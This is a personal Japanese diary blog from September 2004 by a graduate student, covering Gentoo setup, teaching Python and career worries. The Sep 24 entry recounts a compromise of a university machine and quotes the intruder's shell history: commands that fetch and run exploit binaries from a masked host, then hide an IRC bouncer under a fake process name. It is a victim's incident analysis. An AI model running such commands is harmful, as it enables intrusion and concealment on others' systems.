2004年 9月 (3)。

Last Modified: Fri Oct 1 00:47:14 EDT 2004 (10/01, 13:47 JST)

Sep 30 [Thu]


(11:31)
もう 9月も終わりかあ。

どうでもいいけど新しい Firefox (1.0-preview) が使いにくくてしょうがない。 検索部分なんかは改善されているのだが、とにかく、TTF を使うのはやめてくれ! あといままでフォームのテキスト入力で emacs-like binding が効いていたのだが、 それが効かなくなった。うっかり Ctrl-P を押すと印刷ダイアログが表示されてしまう。 くそったれ。やはり

(15:26)
こないだまでエアコン必要だったのに、急に寒くなるんだもんなあ、 ヤンなっちゃうなあ。

やばいっ。ねむくなってきたっ

(15:59)
あしたはビル管理の労働者のストがあるらしい。
(21:11)
まけた。。。

しかしまああれだ、授業の何人かを Java から Python に転向させることには成功したようだ。 「ユースケのあのトークは非常に説得力があったよ」といわれた。そんなもんか?

(22:44)
疲れた…。

てくるで、アカウントもってるきり全然使ってない gmail だが、 今日ひさびすりにログイんしてみたら invitation が 6コきていた。 ほしい人は新山までメールください。つうか、google もこんな 恩きせがましいことしないで誰でも普通に申し込めるようにすりゃいいのに。 どーせこんなん誰もマトモに使うやつなんかいねーよ。

ちなみに、gmail はほとんどすべて javascript で書かれている。 ログインするとでっかい一個のフレームになるのだが、実は普通のブラウザでは開けない 「隠しフレーム」があって、そこに 140kb を超える、キチガイ的な javascript が 書かれている。しかもそのコードが圧縮というか obfuscate されていて、 関数名や変数名がぜんぶ 1、2文字になっているのだ。スペースも極限までツメられている。 たぶん帯域を節約するためだと思うけど、 google は html をみてもとことん短かくしてあるし、そういう最適化ツールがあるんだろう。 どうせきっと python で書かれてたりしてんだろなあ。アホらしい。 ここまでやっても、オレは自分の手製メーラのほうが全然いいね。 なにより gmail はラベルの色分けとか自動振り分けとかが非常に貧弱だ。 しかしインターフェイスは web と端末、という違いはあるものの、 基本設計として gmail と新山のメーラ (まだ、名称未設定) はかなり似ており、 自分の進んでいる方向は正しいということを確信した。

(23:01)
これまでに emerge したもの暫定リスト:
  1. system
  2. gentoo-sources
  3. e1000
  4. vim
  5. metalog
  6. vixie-cron
  7. slocate
  8. reiserfsprogs
  9. grub
  10. ypbind
  11. autofs
  12. openssh
  13. app-admin/sudo
  14. djbdns
  15. qmail
  16. x11 (激長い)
  17. screen
  18. gentoolkit
  19. lsof
  20. kterm
  21. x11-wm/sawfish
  22. lynx
  23. ntp
  24. iptables
  25. shinonome
  26. unzip
  27. zip
  28. cjkcodecs
  29. tcltk
  30. python (again)
  31. python-cdb
  32. dbskkd-cdb
  33. skkinput
  34. emacs
  35. ddskk
  36. python-mode
  37. kochi-substitute
  38. acroread
  39. acroread-asianfonts
  40. aspell
  41. nfs-utils
  42. alsa-driver
  43. alsa-utils
  44. ptex
  45. dvipdfmx
  46. gv
  47. cups
  48. telnet-bsd
  49. jless-iso254
  50. mozilla-firebird (激長い)
(23:53)
ちなにみ (←??) 今日の戦いは、3つの (ぜんぜん異なる) 変態アルゴリズムを 試して、おまけに与えられた計算時間の 2分をぎりぎり使ってまでやったのに、 「ランダムに hill-climbing したよ〜ん」という奴のに負けてしまった。 世の中そういうものである。新山は自分でもアイデアはよく思いつくほうだと思うが、 残念なことに「キチガったアイデア」ばっかりで、「使えるアイデア」はまったく 思いつかないのであった。

ケっ、キょッ、ケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッケっキょッ、ケっキょッ、ケっキょッ、 ケっキょッ、ケっキょッ、ケっキょッ、ケっキょッ、  ケっキょッ、ケっ、

キょッ

(00:21)
研究について思うことのつづき。

自然言語処理に限らないかもしれないけど、新山がなんか研究することに 対する「不満」をもっているというのは、たぶん「お客の不在」である。 誰かが研究がたのしい、というとき、その「楽しさ」はちょうどパズルを解くような 楽しさだ。しかしオレはきっとそれとは別種の楽しさが欲しいのだろう。それは パズル相手ではなく、人間相手の「楽しさ」のように思える。 といっても、これは人と話しをすることとか、面とむかっての客商売のことを いっているわけではない。自分のやっていることが、まわりまわっていずれは世の中の 「誰か」の役に立つだろう、という確信のようなもの、が欲しいのだ。 いまの研究にはそれはない。どこかに「お客様」はいるかもしれないが、 その距離は圧倒的に遠く、自分のやっていることが本当にそこまで届くのかどうか さっぱり自信がない。自分はただ目的もなくパズルを解いているだけに見える。 オレはそういうのを好む感覚にはついていけない。奴隷的に働くのもイヤだが、 「完全な好き勝手」なんてのもいらないのだ。これは論理的な意見というわけでは 全然なく、ただオレはそのように育てられてきただけのことである。

キザな話だが、たとえばアメリカでは「人々に奉仕する (serve)」ことが重要だ、 と誰かが口に出していうときがある。「奉仕する」というのは、 ただボランティアとしてひたすら何かをしてあげることを指しているわけではないと思う。 といって、人を相手にひたすらカネを儲けるのでもない。なんか、その中間というか、 相手を利し自分も利される、という「社会に参加する」という意識があるような気がする (そういえば、この国が日本と圧倒的に違うのは、日本人はふつう「世間」というものの 巨大さに対してただひたすら無力感とあきらめを覚えるだけなのに、ここでは人々が 「個人が行動すれば社会は変えられる」と信じていることだ)。それにひきかえ、 いまの新山は孤立した歯車だ。それは他から力を受けて廻ってはいるが、 どこにも接続されていない。ただ廻っているだけ。 社会に組み込まれていないことに、じつに不満を覚えるというのは、 オレがマゾだからなのだろうか?

Sep 29 [Wed]


(07:52)
よーやく秋ですんね

(まちがって「n」を2回押してしまった)

(10:42)
それを「ブログロ」と呼ぼうが「ウンギャアジミティ」と呼ぼうが、結局は同じことでずぜ、旦那。
(13:23)
ワーオ! Python が速いよ!

これは 2.4 が速いのか、それともローカルに置いたから速いのか、reiferfs が速いのか、 それとも gcc が速いのか、それとも全部 -march=pentium4 -O3 でコンパイルしたから速いのか、

わからんが。

(13:28)
ようやく Gentoo はまともに動くレベルになったが、 それにしても Firefox の新バージョンは TTF フォント使うのやめてほしい。 字がつぶれて読みにくいからである。ついでに、新山は小さいフォントにアンチエイリアシングされるのも嫌いだ。 そもそも AA なんて普段は必要ないだろ MacOSX。メチャ遅くなるわりには、それほどのメリットもない。 ただボケボケするだけ。TTF はデカい文字だけで十分だろ。 近いサイズのビットマップフォントがあればそっちを使ってほしいよ。
(17:08)
セキュリティにうるさいんだかうるさくないんだかよくわからん Gentoo。 デフォルト設定はやけにキツいのに、skkserv が root で走って 0.0.0.0 に bind してたりする。 あと、latex がなんかおかしい。日本語が使えないのはべつにいいのだが、 tex コンパイルもできない。おまけに Google で「latex gentoo」などで検索すると 「Gentoo 航海日誌」とかの日本語ページがトップにくる。で、このページはぜんぜん役に立たないのだが、 なぜトップにくるかというと、そのページの中で「Google で検索して来た検索語」一覧を (おそらく自動的に) リストするようになっているからである。こういうのを得意気に自分のページに 追加するのは誰が最初に始めたんだかわからんが、「負のフィードバック」になってて迷惑だな。

しかし結局、こまかい設定には時間がかかる。tex 以外にもいろいろと。 やはり必要なものだけが簡単にホイホイとインストールできるようなシステムはそうそうないということがわかった。 つぎは「変態」Debian でも見てみっか。

つうか、ひとりの学生に 10台のサーバ管理を任せないでください、セキネさん。

(02:51)
くそー、勝てねー (ゲームをやっていたのではありません、まあゲームみたいなもんだが)。 このぶんだと明日の授業では 1番をとれそうにないな。 いま、もう脳ミソがとろけてるので、大好きな Python のプログラムなのに デガッブ (「デバッグ」と打とうとして撃ちまちがえた) できない。 バグがあることは明らかなのだが。今日はもうかなり涼しく、これからようやく 頭がスッキリしてくる時期になるのはとてもうれしい。だが、時間はつねに とてつもなく足りないのである。なんか最近以前よりヒョーヒョーとしてきた。 ある意味これはあきらめてきたということなのか (何を)? まあいい。 そろそろ寝たいのだ。こんだけネムいと寝るときキモチ良さそうでいいヨネ

Sep 28 [Tue]


(07:59)
あ そーれ
(15:21)
今朝は、最寄りの STAPLES で 120GB の HDD を 2個買い、 いっこはセキネさんのマシンに、もう一個は grape に入れさっそく Gentoo インストール開始。 すばらしく、時間がかかる (最初だからものは試しで bootstrap からやっている)。まあいいけど。

新山はホントは FreeBSD を使いたいのだが、いろいろな理由で いまだに *BSD ってちゃんと使ったことがない。ノートを使っていたときは ドライバの関係で Linux しか使えず、デスクトップを手に入れたときは 仕事上まわりがみーんな Linux なので Linux を入ざるをえなかった。 ああそうだ昔 PowerBook 170 で NetBSD 68k 入れたっけな。 X と nemacs と skk が使いたかっただけだが、激遅いうえに フロッピーが読み書きできず、使いものにならんかったことを 覚えている。nemacs はコンパイルに 3日くらいかかったのにさ…。 (苦労したあ。なんしろ unexec が NetBSD 68k のアーキテクチャにちゃんと対応してなかったうえに、 nemacs は古いので X の socket をライブラリを介さずに直接アクセスしてたり、 メチャクチャだったのだ。Mule なら簡単にインストールできたらしいのだが、 nemacs よりもさらにデカくて重かったので、どうしても nemacs を入れたかった。 しかしあれのおかげで emacs のソースをかなり読んだし、結果的には よかったんではないかと思う。) あのときからすると隔世の感ですね。

ちなみに最近カーネルをコンパイルするときは必ず ReiserFS と XFS のオプションを こっそりオンにするようにしている。こうしておけばやがていつかすべてのマシンが ReiserFS/XFS-available になり、デカいディスクを足すときにこれらが選べると思うからね。 もちろんツール類も入れなきゃなんないが。

(18:31)
やっと起動までこぎつけた。あれこれ仕事したりミーティングしたりしながらインストールしていたので、 のらくらとけっこう時間がかかっている。まだ X はコンパイル中だ。だが、Python は動いているからいいのである。 いざとなれば日本語使えなくてもけっこう仕事はできるしね…。

emerge にはすぐに慣れた。ソースからコンパイルの強みだけのことはあり、 djbdns も daemontools も qmail も、すべて自動インストール可である。全部手でコンパイルしないとは、 オレも堕落したもんだな。しかし設定の仕方がちょい違う。svscan は /etc/init.d から起動するし、dnscache を動かすには dnscache-conf ではなくて djbdns-setup とかいうコマンドで設定しなければならない。 でも /var/ 以下に supervise を作るのは正しい発想だと思う (djb のマニュアルでは /etc/ 以下になっている)。

(18:46)
おいおい kappa fonts がないぞ。某フォントなんかよりこっちを先に登録すべきだろーー

で、ebuild の作り方ってどうやるの?

(22:39)
とりあへず emerge を同時に 2個走らせてはイカン ということを学んだ。 そうするとなぜかおかしくなる。今日は 7時ごろに死ぐほど眠くなって帰りかけるも、 ドシャ降りに降りこまれて一歩も大学から出れず。呪うよ。
(00:50)
夢を与えるよりもブチこわすほうが好きです。

Sep 27 [Mon]


(07:52)
トイレがこわれた夢をみた。 けれどもそれは現実はではなかったらしい。よかったー
(11:28)
ルーマニア情報つづき。やはり IRC のログはルーマニア語だったらしい。 なぜかというと、いま新山のうしろの席にいる「おくたーう゛ぃあん」は この2ヵ月だけイタリアの某大学から来ているのだが、じつは彼はルーマニア出身だからである。 なんて都合のいいときに! で、彼にそれを見せると「100% ルーマニア語、まちがいない」 とのことだったので、あの rdsnet の彼がそいつであることは確実となった。 abuse にメール出しとくか。しかし「クラックされてから文句言う」ってのもなんか カッコわるいな。
(14:07)
大学にきたらまず blueberry のディスクが「カッチンカッチン」状態になってて、 全部再インストールして、ようやく動いたと思ったら、つぎは cherry が ブっこわれ始めなされたようです。もういや
(20:20)
あーコーパスアノテーションうざってーー。 合間に Gentoo Live CD をダウンロードし起動してみる。 なんka質実剛健そうという直感があった。 ドキュメンテーションもしっかりしている。FreeBSD Handbook を思わせる 懇切丁寧な説明の Gentoo Handbook。すばらしい。 次回インストーるならこれにしようと思う。

新山の偏見による各ディストリビューションのイメージ:

(21:00)
verwirtschaftest
(22:58)
James が今月で出ていくことになった。わずか一ヶ月の滞在だった。 原因は、金銭的なものらしい。さいしょ新山は「そうかそうかオレはまた嫌われたのか」と思ってイジけていたが、 わりと深刻な (そしてやや感情的な) 話し合いののち、 彼は本当に財政的にヤバい状態にある、ということがわかった。 NYU の学費は高いからね。オレが本当に理解しているかどうかはあやしいけれど、同情するよ。

しかし本当に深刻な話をしないとわかりあえないというのは皮肉なもんだ。 お互いに親近感をおぼえるのは、つねに別れの直前なのだ。沈鬱

Sep 26 [Sun]


(09:18)
publicfile に gzip パッチをあてました。 すこし速くなった期待と展望。

このパッチが望ましいのは、publicfile 内部で直接的には zlib を呼び出さないことだ。 あらかじめ圧縮したファイル (cur.html.gz とか) を作らせておき、 圧縮ファイルの日付が元のファイルよりも新しいとき (そして Accept-Encoding: に gzip が入っているとき) だけ圧縮したファイルを返すのである。これだと CPU の負荷はほとんど増えない。 あったまいい! しかし html を更新するたびに圧縮しなおさにゃならないので、 こんんなスクリプトを書いてみた:

#!/bin/sh
cd /www
find . -type f -a \( -name '*.html' -o -name '*.txt' \) |
  while read f; do
    if [ ! -e "$f".gz -o "$f" -nt "$f".gz ]; then
      echo "gzip: $f"
      gzip -c "$f" > "$f".gz
    fi
  done
(12:14)
** マナイタ漂白中 **

きょうは涼しくてすがすがしい日曜だなあ。

(13:03)
マナイタ漂白完了。ついでに洗濯も完了。すばらっし。

いつも思うのだが、こうした生活上の仕事 (掃除とか料理とか) がちゃんとできるかどうかは、 コンピュータがどうこういう話よりも圧倒的に大事である。 これができないやつには何も語る資格はないと思う。 料理は究極のエンジニアリングであり、家事全般は人間の知能の中でも いちばん高度な部分を体現していると信じている。これに比べりゃあ、 チェスをやったり言語処理したりするのなんか、枝葉のことにすぎない。

(14:03)
ちなみに、新山のすきなことのひとつは、枕カバーをとっかえたあとに 「ばふーん」とそこに顔をうずめることである。意外とガキっぽい。

いや、「意外と」じゃないか。

(16:11)
うるさかねー、グングケギョヨチフィほイっっっソょ!!

ちなみにこれは、韓国語ではありません。ただの発作です

(20:34)
なんとなく、転職の記録とか、ソフト会社が潰れただのいう関連の web ページを読み始めてしまい、暗くなったので弱音を吐く。

オレはほんとに日本で就職できるのかなあ。 まず、仕事があるのかどうか、ということがいちばんの不安だ。 新山は大企業は好きはでないし、企業の研究所も好きではない。 なんだかしらんが「現場っぽくない」という偏見をもっている。 しかし研究者にならないとすると、こんな奴を欲しがってくれそうな 会社っていったいどんなところなんだろう? 結局のところ、 オレは計算機関係の仕事にへばりついていないとメシが食えない 貧弱な身体なわけだ。そうすると、自分としてはできるだけろんな仕事に 対応できるようにしたいと思っているわけだが、かといって今まで 習ってきたことが完全に無駄に終わるような仕事 (たとえば汎用機でCOBOL使えとか) を やるのにはこれまた抵抗がある。ワガママだなあ、オレって。 つまり、学位はなんらかの形で役に立てたいのだが、日本ではそういう仕事が 研究所で役にも立たない論文書く (か、あるいは部下に研究やらせて自分は報告書書く) ことしかないのだとしたらきわめて哀しいのだ。 このキチガイっぽさが役立つ、なにか別な仕事がきっとどこかにあるはずだと思うのだが、 残念ながら新山はそれを知らない。米国にならたぶんそういう仕事は 沢山あるだろうというのもわかる。しかし、オレは日本で就職するということが 目下最大の目標なのである。西海岸で優雅にプログラマーなんてやりたかねーよ。 第一、先祖の墓参りもできないじゃんか。

しかし、こんな悩みはどうせ誰もわかってくれないだろう。 こっちの人間はみんな「なんで日本に帰りたいの??」と聞く。 日本にいる人からは「なんでそのまま米国で就職しないの?」と聞かれる。 オマエらは何もわかってねーーーーよ! なんにも!! あぁ、マイノリティってつらい…

卒業しても、このまま「流浪の民」っぽい気分で米国に滞在しつづけるのは 絶対やめなければならない。そしてさっさと卒業するには研究するしかないのだ。 そうだ、研究しよう。もしかしてオレは「研究しなくてよくなるために研究している」のか? なんとまあ。

こういうことを言うと、「研究が楽しくないの?」と聞かれるのだが、 「楽しい」のと「やりがいがある」のは違う。自然言語処理の研究は 楽しいかもしれないが、やりがいはない。ほとんど役に立たないものしか 生産できないのだから (注: とはいっても、最初からそう決めつけるのは負け犬っぽいので、 オレこそは役に立つものを作ろうと日夜画策しているわけですが)。 もちろんこれは工学として考えればの話だが、 かといって純粋な学問としてみればこれはダサすぎてとても (言語学みたいな) 面白さがあるとはいえない。どっちにせよ中途半端なのだ。 たぶん趣味でやるぶんにはいいだろうが、世間様に顔向けできるような 仕事ではないと思う。少なくとも、いまのところは。いや、新山にとっては。

(追記…しかし、こんな新山ですが、いざ人前に出れば 「自然言語処理がいかに楽しくて、将来性があって、すばらしい技術であるか」という 営業トークをニコニコと嬉しそうにまくしたてることができてしまうのであります。 あと論文発表の時とか。でも個人的にはそういう業の深い行為はなるべく少なくするのが 人生の目標だと思っている。たとえナイーヴと言われようとも。あれ、 オレって意外と信心深いのか?)

こんなところを読む職業研究者はいるはずがないので問題なしです。 てゆうかこのページは誰にも不快感を与えないよう非常に注意ぶかく設計されております。 そもそも想定読者はオレ一人しかいないからね。

(21:25)
やべーーーーっ! ほんだし切らしてた!!
(23:33)
web上でぐらい本音を言わせろこの野郎! オレぁいつもいつもいい子ぶってるワケじゃねえんだ! (げきど)

・・・・・・プ (空気が抜ける音)

google://webかぶり/ という考え。

Sep 25 [Sat]


(12:28)
うぞーーーーーーーーー
もうお昼なん????

てくるで、Yankees のことを「ヤ軍」と略すということをはじめて知った。 そうすると、なにか?

(13:24)
きのうのつづき。昨日の件であらためてローカルな脆弱性のあぶなさを思い知ったが、 うちはいまだに RedHat 7.3 なので、たぶん山のようにあて忘れたパッチがあるだろう。なんとかせねばならないなあ。 新山の戦略は「いらないソフトウェアは徹底的に削り、必要最小限のもの (openssh とか) だけを アップデートする」という方針なのだが、それでも見落しはありそうだし、マシンが 10台もあると 絶対見落してるという確信がある。困った困った。

そもそもオレはべつに RedHat が好きで使っているわけじゃないので、 何度かシステム全体をまったく違う (金払わなくても自動アップデート可能な) ディストリビューションにしようと計画したのだが、いまだにできずじまいだ。 ま、RedHat 7.3 → 9 でもこんだけトラブルが発生したんだから、他のに行ったら さらに問題が出る可能性が高い。とくに今は /usr/local のバイナリを共有していて、 それができなくなると非常に管理コストがかさむ。 セキネさんの主力開発ツールなんか、いまだに jperl5 ですからね。 これが問題なく動くかどうかは非常に彼の気にかかるところらしい。 あと、すでにコンパイルしてある膨大な研究関係のツールが使えなくなるのもイタい。 だれか外部から管理者を雇おうにも、うちの使い方が変態なので (10G のファイルを作りたいとか、 ファイル数が何百万とあって inode があふれそうになってるディスクがあったりとか)、 結局ある程度わかってる人でないとつとまりそうにない。そしてそのツケはいつも オレにまわってくる。やってらんねーよな。ぐちぐち

(17:40)
なんとなく花瓶…
(21:17)
結局、sunrise mart できっちんハイター (本物) をようやくゲットした。
あしたマナイタの漂白しよ。
(00:21)
暗い話し合いをする。ああ暗い暗い。人生なんて暗いんだろ。なあ。

新山は金銭的にホントに困ったという経験がないので、 ホントにお金がなくて困窮している人の苦しさはたぶん想像できない。 でもそれはじつに人間としてダメっぽいなあ。ついでにいうと、 オレは生まれてこのかた一度も「やせ型」以上の体型になったことがないので、 食いすぎで太って困ったとか言ってる人の気持ちも理解できないが、 これはべつに理解しなくてもいいか。

新山はきわめて十羽ひとからげ的な決めつけをする人間である。と、 いうことになっているらしい。人前では。しかしホントはその予想が いつか完璧に裏切られるときを心待ちにしているのだ、なんてことは、 どうせ誰も信じてはくれまい。

Sep 24 [Fri]


(09:03)
“箱庭”だな、と思った。はこにはにわにはにわとりがいる
(11:25)
ひさびすりに python.jp をみてみたら、いつのまにか #python-ja などという IRC ができたんだって。IRC って負け犬っぽいコミニュケーションだと思っているので やる気もないが、ろくにプログラミングの情報も置いてないのにそういうのだけは熱心なんだなあ、と思う。 はっきりいって日本 Python ユーザ解って単なる飲み会なんじゃないの? …ということはつねづね思っていたがまたあとで書く。

ちなみに IRC は実質的な情報をやりとりするには効率が悪すぎる。 議論もほとんどできないし、メールのほうが長文書けるしきちんと保存されるだけましだ。 あれは基本的に「ダベりたい人用」のツールなのだろう。 そしてオレからみるとじつに効率の悪いダベり方にみえる。 まあどうでもいいけどね。

(17:55)
雑用で一日つぶれた。むかーー

今日のころきあは、いきなり応用数学っぽいやつだった。 なんか、多項式を因数分解するアルゴリズムについてなのだが、 これはもちろん x2 + 8x + 15 とかいうレベルのものじゃなく、 18x14 - 423y22 + 93z7 + ... (以下これが 500項ぐらい続く) ... + 291 + 8932i とかいうやつで、変数はそれぞれ複素数の範囲を動く。これはちゃんと解こうとするとひどく難しいらしい。 で、今日のおじさんが解こうとしていたのはこれの「近似解」で、乱数と gradient-descend っぽいやり方を使うことでなるべく誤差の少ない解に近づける、というものだった。 こうした研究は他にもいっぱいあるのだが、みんないかに短時間で真の解に近いものを 求められるかで競争している。しかし実際のやり方はまったく理解できず。 行列の rank がどうたらこうたらという話から始まって、Ruppert の定理だの、 "reducible" な行列とか、"characteristic" とか "nullity" とかいうジャーゴンが 出てくるに至ってはほぼお手あげ状態。しかしこれにはちゃんとアプリケーションがある! なんか、ナノテクに出てくる分子機械の物理的制約をモデリングするとか (彼によると「今は提案書に『ナノ』って書いといたほうがいい」そうで)、 飛行制御などの一部の問題がこの多項式の因数分解に帰着されるらしい。 ま、「ほ〜〜、こういう研究もあるんだねえ」ってことで。そういう感想。

(18:16)
きのうの資料

ちなみにこれ、さいしょ「剰余」のところを "reminder" と書いていて、 先生に「それ remainder だよ」と訂正されたというのはナイショ。。

(23:41)
はあ…疲労困憊…。

大学のマシンがクラックされました。

しかも新山がいつも端末として使っているやつである。 当然、これグローバル IP なので (ここでは無線 LAN の DHCP さえグローバルだ)、 外からの攻撃はいつもドカドカきていたのだが、やられた。深く深く恥じ入ります。

root は取られていなかったが、シェルを取られた時点ですでに 95% 以上は負けである。 しかも、いちばんダサい手口で侵入された。なにか特定のデーモンの exploit を利用して 取られたというのではなく、mysql アカウントについていたヘボいパスワードを推測された のである。アホですね。だから真正面から ssh で入ってこられて、messages にも lastlog にも ばっちり残っていたにもかかわらず、オレはこの事態に一週間以上も気づいていなかった。 これではセキュリティをどうこう言う資格などまったくない。チクショウ。バカにされてやる。

じっさいのところ、どうやってこれに気づいたのかというと、マヌケな 侵入者のおかげだった。新山がなにげなく ps ax してみたら、 そいつはいたのである。他のホストに向けて DoS アタックしようとしていた。 思わず冷静さを失い、「ふぎヱぇーーーーッ!!」とばかりにケーブルを抜く。これはまあ、 ふとなにげなく自分の服をみたら、そこに何やら粘液系の虫がついてるのを発見してしまったときの 気分に似ていると思う。そのあと冷静さをとり戻し、2時間ぐらいかけて被害を調べた。 逆に考えればこんなに面白い事態にはそうお目にかかれるものではない。気分はまるでクリフォード・ストール。 まだ ssh セッションはそのまま止まっていたので、/proc 以下をあさったり、 gdb でメモリをダンプしてみた。でも、rootkit も何も入ってないし、 ローカルな exploit は何も取られなかったらしい。だからログ類もぜんぶ残っていた。 さらにアホなことに、そいつは自分の bash_history まで残していた (pacct にも実行コマンドの履歴がばっちり残っている)。 以下はその抜粋である:

w                      (ユーザの確認)
uname -a               (システム名の確認)
wget *****.com/mosu/90 (exploit をダウンロードする)
chmod +x 90
./90                   (実行)
wget *****.com/as      (べつの exploit をダウンロードする)
chmod +x as
./as                   (実行)
rm -rf 90 as           (それらを消しておく)
passwd                 (このアカウントのパスワードを変更)
cd /usr/tmp
wget *****.com/k/ps.tgz (IRCサーバをダウンロードする)
tar zxvf ps.tgz        (展開、これらはすでにコンパイルされているらしい)
rm -rf ps.tgz
cd .x                  (隠しディレクトリに移動)
mv psybnc xfsd         (プログラム名を xfsd (←xfsの間違いだろ) に偽装する)
./xfsd                 (IRCサーバを起動)
cd ..
pwd
ls -al

ようするに、これは exploit のバイナリを片っぱしからダウンロードして試しているのね。 psybnc というのはどうやら IRC のサーバらしく、 これも mysql 権限で走っていた。そこまでして IRC やりたいか? (だから IRC なんかやるやつは負け犬だっつうの)。ほかにも SYN Flood を起こす Dos アタックを 走らせようとした形跡があったが、一般ユーザでは packet socket が作れないので失敗していた。 さらにいえば、こいつは自分の自宅から直接ログインしてたらしい。 というのは同一ドメインの異なる IP から何度か接続しなおしていて (踏み台を使っているのなら、これらはふつう完全に違う IP からくるはずだ)、 そいつの逆引きをみると *-*-*-*.rdsnet.ro となっていた。 IRC のログはルーマニア語だったので (新山はルーマニア語をまったく知らないが、 ルーマニア語はラテン語族で、イタリア語とかなり似ているらしいことからなんとなく判定した)、 ルーマニア方面から来ていることはまちがいない。exploits が置いてあるサイト (*****.com) にも ルーマニアがどうのこうの…というファイルがあった。きっとこいつのお仲間なのだろう。

で、そこまでわかったらすこし安心したので、mysql のアカウントだけ消して帰ってきた。 足跡残しっぱなしで IRC サーバを上げる程度のやつがそんな巧妙な仕掛けをするとも思えない。

問題は、いつからこの穴ボコが空いていたのかということだが… かなり前から空いていると思う。ログは 1ヵ月分しか残ってないが、すでに「こいつ」以外にも 何度かログインされた形跡があった。うげー、気持ち悪い。しかしパスワードを変更までして (上のシェル履歴を参照) 居座ろうとしたのはこいつがはじめてらしい。それにしてもだなあ。 話は戻るが、これまでも guest とか、admin とか、oracle とかいうアカウントで 何度もログインしようとしている連中がいっぱいいるのは知ってたのだ。が、まさか mysql が本当に存在してるとは知りもしなかった…だいたい、なんで mysql なんか入ってんだよ?? このマシンで mysql を使おうとするやつはオレしか考えられないが (基本的に新山しか使っていないのだ)、 ふつうこういうアカウントは無効にされているはずで、オレとしては有効にした記憶がまったくない。 でも、自分の日頃の行動を考えてみるに、「もしかするとオレならやりかねん」とも思う…。 パスワードはもうすでに変えられてしまっているので、 最初に新山がどんなヘボいパスワードをつけたのかはもう知るよしもないが。 ローカルの priviledge escalation がすべて失敗したのは奇跡としかいいようがない。 だいぶ前にカーネルを 2.4.26 に上げておいたからよかったものの、そうでなかったら絶対やられてたと思う (実際 mremap の exploit を実行した跡があった)。 うちは yp 使ってるし、NFS 使ってるし、いったんシェル取られたら最後、穴だらけだと思ってたのに。 まあ自動的に取れるような穴は少ないのかもしれないが、とにかく mysql にヘボいパスワード 設定してちゃ終わりである。管理がまずけりゃいくら丈夫なソフトウェアだってやられるのだ。ばか。 もうひとつの敗因は password 認証を許可してることにもあるのだが、これにはヤムをえない事情というのが ありましte…現在、新山のまわりで ssh を使っている人は 20人近くいるが、 公開鍵認証を使っているのは今のところオレだけである。どうにかなんないの? それよりオレの頭をまずどうにかしろよ、この頭を!

ケッキョキ、このまま放っておくとカユくなりそうなので (訳注: 今回の件は、新山に 「毛虫に刺された」のと同じような感覚をもたらしている)、いずれこのマシンは 完全にキレイにする予定である。しかし NFS ごしのことまで心配しだしたらもうキリがないので さっさとやめる。ようするに、グローバル IP なんか使うからいけないんだよな。

(04:28)
Ore ha nande mada okiteruno?

Sep 23 [Thu]


(11:27)
また暑くなるの?
(18:20)
マダオユガデナインダナ。。。
(00:50)
先の「硬貨の設計問題」は最初だったので楽だったらしく、きょうの授業では 新山をふくむ 4〜5人が最適値をはじき出していた。先生からごほうびの KitKat を もらう (そう、この授業ではトップの回答を出した奴はお菓子がもらえるのである! やる気まんまんだね!)。彼は教壇から学生にむかってチョコをほうり投げるので、 キャッチすんのが大変だった。しかし、今回オレは何も考えず力ずくで全探索で探したのだが、 ヒューリスティックであっという間に答えを出した奴もいた。驚いたね。 いやー面白いぜそういう連中とやるのは。

てくるで、今日はその授業で同時にニワカ Python 講習会をやらされた。 前回、先生が「次回だれか自分の気に入ってるプロトタイプ言語の紹介しないか」といってたのだが、 たまたま授業の ML でまた新山が (よせばいいのに) Python がいかにすばらしいかという話をしたら、 「ユウスケ今日はお前やれ」ということで、ぶっつけ本番だる。 基本的にこの授業の人々はアルゴリズマーなので、ライブラリがどうこういう話よりも 「いかにアルゴリズムがキレイに書けるか」という点にしぼった。 ひとつ考えたのが、インデントや list comprehension とまじって、 「関数がタプルを返す」というのはわりと気に入られるかもと思い紹介。 新山はいつもタプルは「使い捨て構造体」だと思っている。これを使うと本来 ひとつの値しか関数があたかも複数の値を返すかのようにできるからだ。 Scheme の複値継続よりも絶対こっちのほうがエレガントだよな、代入もわかりやすいし。 で、いちおう資料は作っておいたのでなんとかなったが、あいかわらず練習してないトークはひどかった。 でもなんとなく先生のお気にめしたらしいのでよし。あとで彼のプログラミング言語の 授業のゲストでPython についてしゃべることになるかもしんない。

この授業では基本的に何の言語を使ってもいいことになっている (Java、 C++、 Perl などのほかに Mathematica ユーザがいた -- ちなみに 先生は APL 系の K という変態言語 を 使っている)。 この授業は修士の学生が多く、かれらはみんなすでに顔見知りみたいなので (こちらでは修士課程の授業は 博士のそれとは分かれている、そもそも phd 生は授業自体そんなに取んないし)、 やや疎外感があるなあ。

そういえば驚いたことに、ひとり「Ruby を使った」というのがいた! (で、周囲の反応は「Rubyって何?」) しかし遅いので結局 C で書き直したらしい。 オレも Psyco を使ってみたりしたけれど、基本的に Python も遅いので探索問題には 向いてないよなあ。今回のは (計算の) 制限時間はなかったが、次回からは計算にかかる時間は ひとり 2分と決められているのだった (学生は web サービスやら何やらを実装し、授業中に リアルタイムで結果を出さねばならない!)。うーん、どうしようかなあ。もちろん探索アルゴリズムが メチャ賢ければ遅い言語でもいい結果は出るのだろうが、与えられた時間内ですこしでも いいスコアをとろうとすると速度はやっぱり速いほうがいい。

(01:16)
tekurudeさいきん Collins parser をいじっていたせいで しばらく書いてなかった C のコードを書いて気づいたことがある。 Python に慣れてきたら C のコーディングスタイルも変わったということである。 たとえば、悪名高い C の strcpy のコード:
void strcpy(char *dst, char *src)
{
  while(*dst++ = *src++)
    ;
}
これ、たぶん C の初心者は、なんでこれで文字列のコピーができるのかわからないと思う。 新山もわからんかった。 これはじつに不透明な C の文法と文字列との特徴とを同時に利用しているからだ :

…で、ひとむかし前は新山も「こういうコードが、無駄のない『いいコード』なのだ」と 思っていた。高校生ぐらいのころである。しかしあれから 10年たち、Perl を捨て、 ついでに Scheme まで捨て、Python を使いだしてからあきらかに自分の傾向が変わったのを感じる。 たぶんいま自分で strcpy を書くとしたら、きっとこんなかんじになるだらう:

void strcpy(char* dst, const char* src)
{
  while (1) {
    int c = *src;
    *dst = c;
    if (c == '\0') break;
    src++;
    dst++;
  }
}
